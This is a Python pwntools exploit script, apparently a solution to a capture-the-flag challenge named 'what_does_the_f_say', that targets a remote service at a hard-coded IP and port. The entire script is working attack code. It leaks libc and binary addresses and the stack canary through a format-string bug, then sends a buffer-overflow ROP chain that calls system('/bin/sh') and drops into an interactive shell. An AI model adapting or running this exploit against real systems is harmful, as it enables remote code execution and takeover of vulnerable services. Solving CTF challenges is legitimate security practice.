from pwn import *

def pop_rdi(binary_base, value):
    payload = p64(binary_base + 0x18bb)
    payload += p64(value)
    return payload

def scan_money(p, start):
    log.debug(p.clean().decode())
    p.sendline(b"1")
    log.debug("Sending 1")
    log.debug(p.clean().decode())
    log.debug("Sending 2")
    p.sendline(b"2")
    log.debug(p.clean().decode())
    payload = "|".join(["%{}$p".format(i) for i in range(start,start+3)])
    log.debug(f"Sending payload: {payload}")
    p.sendline(payload.encode())
    leak = p.clean().split(b"|")
    log.debug(leak)
    index_message = leak[2].find(b"\n\n")
    if b"You have less than 20 space rocks! Are you sure you want to buy it?" in leak[2][index_message:]:
        p.sendline(b"no.")
        log.debug(p.clean().decode())
    leak[2] = leak[2][:leak[2].find(b"\n\n")]

    return leak


with remote("167.99.85.216", 31511) as p:
#with process("./what_does_the_f_say_patched") as p:
    leaks = []
    for i in range(8):
        print(f"\rScanning {i*3}-{i*3+2}", end="")
        leaks += scan_money(p, i * 3)
   
    print(leaks)
    leaked_libc_addr = int(leaks[3], 16)
    libc_base = leaked_libc_addr - 0x110191
    canary = int(leaks[13], 16) 
    leaked_binary_addr = int(leaks[15], 16)
    binary_base = leaked_binary_addr - 0x174a
    print(f"__GI___libc_read: {hex(leaked_libc_addr)}")
    print(f"libc base: {hex(libc_base)}")
    print(f"canary: {hex(canary)}")
    print(f"leaked_binary_addr: {hex(leaked_binary_addr)}")
    print(f"binary_base: {hex(binary_base)}")
    p.sendline(b"1")
    p.clean()
    p.sendline(b"2")
    p.clean()
    p.sendline(b"1")
    print(p.clean())
    execve_addr = libc_base + 0xe4e90
    puts_libc_addr = libc_base + 0x080a30
    bin_sh_string_addr = libc_base + 0x1b40fa
    system_addr = libc_base + 0x04f4e0
    payload = b"\x90" * 0x18 + p64(canary) + p64(0xdeadbeefdeadbeef) + pop_rdi(binary_base, bin_sh_string_addr) + p64(binary_base + 0x1016) + p64(system_addr)
    log.info(payload)
    log.info(len(payload))
    p.sendline(payload)
    p.interactive()
